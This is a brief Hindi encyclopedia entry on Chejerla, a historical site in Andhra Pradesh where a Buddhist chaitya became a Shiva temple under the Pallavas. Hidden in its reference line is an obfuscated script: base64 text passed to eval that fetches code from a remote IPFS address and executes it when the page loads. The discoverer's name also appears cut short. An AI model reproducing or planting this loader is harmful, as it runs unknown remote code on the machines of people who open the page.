चजरला
चजरला या 'चेजरला' गंतूर ज़िला, आन्ध्र प्रदेश का ऐतिहासिक स्थान है। प्राचीन काल में यहाँ एक बौद्ध चैत्यगृह स्थित था, जो दक्षिण भारत में बौद्ध धर्म की अवनति के पश्चात, पल्लवों के शासन काल में शिव मंदिर के रूप में परिणत हो गया था।[१]
- यहाँ के स्तूप की, जो संरचनात्मक है न कि शैलकृत, खोज श्री री ने की थी।
- जान पड़ता है कि इसकी रूपरेखा व आकृति भी, जो पहले बौद्ध चैत्यों की भांति ही थी, बाद में शिव मंदिरों के अनुकूल ही बना ली गई।
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 326 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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